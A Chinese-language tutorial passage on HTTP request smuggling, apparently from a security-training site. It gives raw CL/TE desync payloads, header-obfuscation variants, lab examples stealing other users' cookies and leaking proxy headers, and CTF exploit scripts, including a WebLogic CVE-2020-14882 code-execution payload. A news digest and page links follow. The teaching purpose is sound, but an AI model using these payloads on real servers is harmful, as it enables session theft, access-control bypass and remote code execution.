POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n
常见走私类型
1.CL不为0
如果前端代理服务器允许GET携带请求体,而后端服务器不允许GET携带请求体,后端服务器就会直接忽略掉GET请求中的Content-Length头,这就有可能导致请求走私。
例如我们构造出:
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 43\r\n
GET / admin HTTP/1.1\r\n
Host: example.com\r\n
\r\n
在前端服务器看来它是一个请求,但是在后端服务器来看它就是:
//第一个请求
GET / HTTP/1.1\r\n
Host: example.com\r\n
//第二个请求
GET / admin HTTP/1.1\r\n
Host: example.com\r\n
2.CL CL
在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。
https://tools.ietf.org/html/rfc7230#section-3.3.3
但是很明显这并非是强制的,如果服务器不遵守安全规定在服务器收到多个CL不相同的请求时不返回400错误,那么就可能会导致请求走私。
我们假设前端服务器按照第一个CL处理而后端服务器按照第二个CL,构造出如下HTTP包:
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
前端代理服务器收到的请求通过第一个CL判断body为8字节,随后将包发送给后端源服务器;源服务器收到请求通过第二个CL判断body为7字节,这时候最后一个字节 b'a'就会被遗留在源服务器缓存器。由于前后端服务器一般是宠用TCP连接,假设此时正常用户向服务器发送了正常的数据包,如下:
GET / HTTP/1.1\r\n
Host: example.com\r\n
这时残留在缓存中的一个字节就会被添加到这个正常的请求前端变成:
aGET / HTTP/1.1\r\n
Host: example.com\r\n
导致了请求走私,正常数据包被篡改。
但很明显这种情况过于“巧合”应该很难遇见,存在两个CL的包一般服务器都不会接受,在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这就意味着我们可以在头部同时包含这两种请求头,相比这下这种方式更现实一些。
3.CL TE
所谓CL TE就是前置服务器认为 Content-Length 优先级更高(或者说根本就不支持 Transfer-Encoding ) ,后端服务器认为 Transfer-Encoding 优先级更高。
我们可以构造出body中带有字节 0的请求包,前端服务器通过CL判断这是一个正常的数据包并转发给后端,后端服务器使用TE就会把字节0后的数据滞留到缓冲区,并且与下一次的正常请求进行拼接,这里用一下portswigger团队的lab作为实验:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
构造如下请求包:
POST / HTTP/1.1\r\n
Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net\r\n
Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiC\r\n
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"\r\n
Sec-Ch-Ua-Mobile: ?0\r\n
Sec-Ch-Ua-Platform: "Windows"\r\n
Upgrade-Insecure-Requests: 1\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n
Sec-Fetch-Site: none\r\n
Sec-Fetch-Mode: navigate\r\n
Sec-Fetch-User: ?1\r\n
Sec-Fetch-Dest: document\r\n
Accept-Encoding: gzip, deflate\r\n
Accept-Language: zh-CN,zh;q=0.9\r\n
Connection: close\r\n
Content-Length: 10\r\n
Transfer-Encoding:chunked\r\n
\r\n
0\r\n
\r\n
A\r\n
\r\n
连续发送几次就会发现字母A被拼接到了下一请求中,导致了请求走私,当然也会报错。
4.TE CL
TE CL与CL TE正好相反,假如前端服务器处理TE请求头,而后端服务器处理CL请求头,我们同样可以构造恶意数据包完成走私攻击;依旧使用portswigger的lab:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
我们构造出如下请求:
POST / HTTP/1.1
Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net
Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
12
WPOST / HTTP/1.1
0
多次发送后发现:
WPOST被拆分了出来,重点关注body部分
\r\n
12\r\n
WPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
前端处理TE读取到0\r\n\r\n之后就认为读取完毕发送给后端,而后端处理CL只读取4字节\r\n12就认为数据包结束,这时候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被认为是另一个请求,因此发生了请求报错。
5.TE TE
TE-TE:前置和后端服务器都支持 Transfer-Encoding,但通过混淆能让它们在处理时产生分歧。
lab:https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header
构造出如下请求包:
POST / HTTP/1.1
Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net
Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding:chunked //两种TE造成混淆
Transfer-Encoding:cow
5c
WPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
多次发送后:
可以看到这里我们采用了:
Transfer-Encoding:chunked\r\n
Transfer-Encoding:cow\r\n
除了这种混淆方式,除了这些portswigger团队还给出了其它可用于TE混淆的payload:
Transfer-Encoding: xchunked
Transfer-Encoding[空格]: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[空格]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
0x04 走私攻击应用实例
1.使用CL TE走私获取其他用户的请求
lab:https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/
打开页面是blog,用户可以在页面发表评论,由于前后端服务器的请求头处理差异导致我们可以利用CL TE获取其它用户的请求头,譬如我们构造出如下请求:
POST / HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 333
Transfer-Encoding:chunked
Content-Type: application/x-www-form-urlencoded
0
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring
前端服务器使用CL验证,获取CL为333后判定这是一个正常的请求并发送给后端,而后端服务器通过TE的结尾表标识0\r\n\r\n认为前半部分是一个正常的请求,而后半部分:
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring
因为Pipeline的存在被放置在了缓存区。如果这时另一个正常用户也发来了一段评论,那么这个请求会被拼接到滞留在缓存区的请求后面构成一个新的请求:
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=ashAwdweas.......
这时候我们就发现请求头被拼接到了comment的后面然后被当作comment返回,这样我们就可能通过获取到其他用户的Cookie。
在lab中我们要不断第二个CL的大小,调整至合适大小才有可能正常泄露出来;我从700开始服务器报500,但不知道是哪里出了问题响应一直超时:
不过原理还是很好理解,大家可以自己去试一试,有点玄学。
2.泄露请求头重写请求实现未授权访问
前面我们提到,前端服务器的作用之一就是过滤外界用户对于未授权接口的访问,一般前端用户收到一段请求后,会在包里添加一些请求头例如:
• 用户的session等会话ID。
• XFF头用于显示用户IP,当然一般不会是X-Forwarded-For因为很容易被猜到。
• 用户指纹信息、token等。
如果我们能泄露这些前端服务器向后端服务器中继发送的请求中的请求头,那么我们就可以伪造出前端服务器的请求包来完成对敏感接口的未授权访问,实现一些恶意操作。
那么问题来了,我们如何能获取到前端服务器发送到后端服务器的请求头呢?其实不难想,如果服务器能对我们输入的POST参数,即body部分响应输出,然后我们构造一个普通的请求放在body后面,前端服务器接收到之后就会对我们添加的请求进行重写,如果我们的指定Content-Length为较大的值就会把前端服务器重写时添加的重要字段给泄露出来拼接到body后面,随后后端服务器会将其与响应一并返回。
这么讲可能还是有些抽象,我们拿lab来举例:
https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/
构造出如下请求包:
POST / HTTP/1.1
Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Transfer-Encoding:chunked
0
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111
多发送几次我们会发现成功泄露出来XFF头信息:
我们简单捋一下过程便于理解,首先前端服务器通过CL判断出这是一个完整的请求并转发给后端服务器,后端服务器通过TE将0字节标识前的部分正常处理,后半部分也被看作是一次正常的请求但被滞留在缓存区,同时由于我们设置的CL是超过实际长度,缓存区就会等待下一次正常请求,也就是前端服务器发来的新请求截取其部分请求头放在请求参数后面凑够CL后一并返回。
我们走私到后端服务器被滞留在缓存区的请求是:
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111
后端服务器接收到新请求并拼接在search之后是:
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......
最后后端服务器就会将信息响应返回。
3.其它应用
除了这两种还有一些利用方式:
• 反射型 XSS 组合拳
• 将 on-site 重定向变为开放式重定向
• 缓存投毒
• 缓存欺骗
这些@mengchen师傅在知道创宇404发的paper里都有实验讲解,感兴趣的可以去看一看。(paper链接在文末)
0x05 CTF实战利用
GKCTF2021[hackme]
这道题目首先是需要nosql注入爆出密码,然后登陆获得任意文件读取功能,前半部分我们暂且忽略,我们重点关注后半部分。
读取nginx配置文件发现后端存在weblogic服务:
同时注意到nginx版本为1.17.6,存在请求走私:
假如我们构造:
GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost
那么nginx会把这两个请求都执行,这就会造成请求走私。可参考:https://v0w.top/2020/12/20/HTTPsmuggling/#5-2-%EF%BC%88CVE-2020-12440%EF%BC%89Nginx-lt-1-8-0-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81
针对这道题目我们构造出如下请求包:
GET /test HTTP/1.1
Host: node4.buuoj.cn:27230
Content-Length: 0
Transfer-Encoding: chunked
GET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic
响应包中包含了weblogic的版本信息:
WebLogic Server Version: 12.2.1.4.0
版本正好契合CVE-2020-14882,我们直接拿socket去打就可以拿到flag。
最终exp
//来源于https://www.lemonprefect.cn的博客
import socket
sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 26319))
payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdap
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()
RCTF2019[esay calc]
常规绕waf
首先查看源码根据提示来到calc.php
代码对特殊字符进行了一些过滤,注意到最后代码执行,我们传入:
calc.php?num=;)phpinfo();//
执行后发现:
明显是有waf不合法请求,有一种做法是参数前面加空格使服务器无法解析绕waf,再用ascii转码读文件:
? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
走私绕waf
注意到只要能让前端服务器报错我们就能突破前端waf限制;所以事实上我们还可以利用走私攻击绕waf,而且前面四种方式都是有效的,这里举两个例子,剩下几种大家可以自行尝试:
注意下面的请求中num前没有空格了。
CL CL
CL TE
ISCC2022[让我康康!]
分析与利用
如果直接访问flag会爆403:
我们通过相应包的头部发现了gunicorn20.0,经查阅版本存在请求走私,具体可参考:
https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/
通过给出的POC我们编写脚本成功实现请求走私,看到要求很明显是需要获取前端服务器请求头的来源IP名称来伪造本地访问获取flag:
那么我的思路就是多次发送请求,并且设置前一个请求的CL为超过实际请求体的较大数值;由于后端服务器设置Keep-Alive,所以它会误认为请求没有发送完毕,会继续等待;而这时候我们再给前端服务器发送一个请求,前端服务器就会把带有来源IP头部的http包发送给后端服务器,后端服务器接收足够上一包内CL的时候就会把这个泄露敏感凭证的包一并返回给客户端,从而造成了敏感信息泄露。
其实思路与上面讲到的应用实例2一样,只不过gunicorn20.0的走私漏洞是由于默认Sec-Websocket-Key的配置导致后端服务器会以xxxxxxxx为标识位,这就导致xxxxxxxx后面的部分会滞留在缓存区,可以认为是一种变种的CL TE走私。
我们可以通过burp直接构造请求,但是由于Content-Length需要我们自定义,比如第一个Content-Length仅仅是计算到第一个手动添加的POST请求,所以构造的时候要额外小心。
当然我们直接写脚本拿socket发更直观。
最终exp
import socket
secret_payload=b'''POST / HTTP/1.1\r
Host: 59.110.159.206:7020\r
Content-Length: 149\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxPOST / HTTP/1.1\r
Host:127.0.0.1\r
secr3t_ip: 127.0.0.1\r
Content-Length: 150\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=abc\r
\r
POST / HTTP/1.1\r
Content-Length: 14\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=111\r
\r
'''
final_payload=b'''POST / HTTP/1.1\r
Host: 59.110.159.206:7020\r
Content-Length: 152\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r
Content-Type: application/x-www-form-urlencoded\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxGET /fl4g HTTP/1.1\r
Host:127.0.0.1\r
secr3t_ip: 127.0.0.1\r
Content-Length: 150\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=abc\r
\r
POST / HTTP/1.1\r
Content-Length: 14\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=111\r
\r
'''
test1 = b'''POST / HTTP/1.1\r
Host: 127.0.0.1\r
Content-Length: 67\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxGET /fl4g HTTP/1.1\r
Host:127.0.0.1\r
Content-Length: 123\r
\r
GET / HTTP/1.1\r
Host: 127.0.0.1\r
\r
'''
test2=b'''POST / HTTP/1.1
Host: 59.110.159.206:7020
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
search=123'''
sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("59.110.159.206", 7020))
def send(payload):
print(payload)
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()
if __name__ == '__main__':
send(final_payload)
0x06 Reference
https://regilero.github.io/tag/Smuggling/
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
https://paper.seebug.org/1048
https://xz.aliyun.com/t/7501
网络安全日报 2022年05月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、PayPal 中的一个漏洞可以让攻击者从用户的账户中窃取资金
https://securityaffairs.co/wordpress/131569/hacking/paypal-clickjacking-attack.html 2、Cytrox 的 Predator 间谍软件在 3 个活动中使用了零日漏洞
https://securityaffairs.co/wordpress/131561/hacking/predator-spyware-zero-day-exploits.html 3、面部识别公司 Clearview AI 被英国监管机构罚款 940 万美元
https://www.securityweek.com/facial-recognition-firm-clearview-ai-fined-94-million-uk-regulator 4、50 万芝加哥学生和教职员工数据泄露
https://www.securityweek.com/breach-exposed-data-half-million-chicago-students-staff 5、研究人员发现跨链协议Wormhole 漏洞,获得1000W美元奖金
https://portswigger.net/daily-swig/blockchain-bridge-wormhole-pays-record-10m-bug-bounty-reward 6、恶意PDF附件分发Snake Keylogger恶意软件
https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/ 7、攻击者利用虚假PoC针对infoSec社区
https://blog.cyble.com/2022/05/20/malware-campaign-targets-infosec-community-threat-actor-uses-fake-proof-of-concept-to-deliver-cobalt-strike-beacon/ 8、格陵兰披露遭到网络攻击导致其卫生服务严重受限
https://therecord.media/greenland-cyberattack-healthcare-systems/ 9、微软发布带外更新修复微软商店应用程序问题
https://www.bleepingcomputer.com/news/microsoft/emergency-windows-10-updates-fix-microsoft-store-app-issues/ 10、2022年第一季度《App违规收集个人信息风险分析报告》发布
https://www.qianxin.com/threat/reportdetail?report_id=155
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

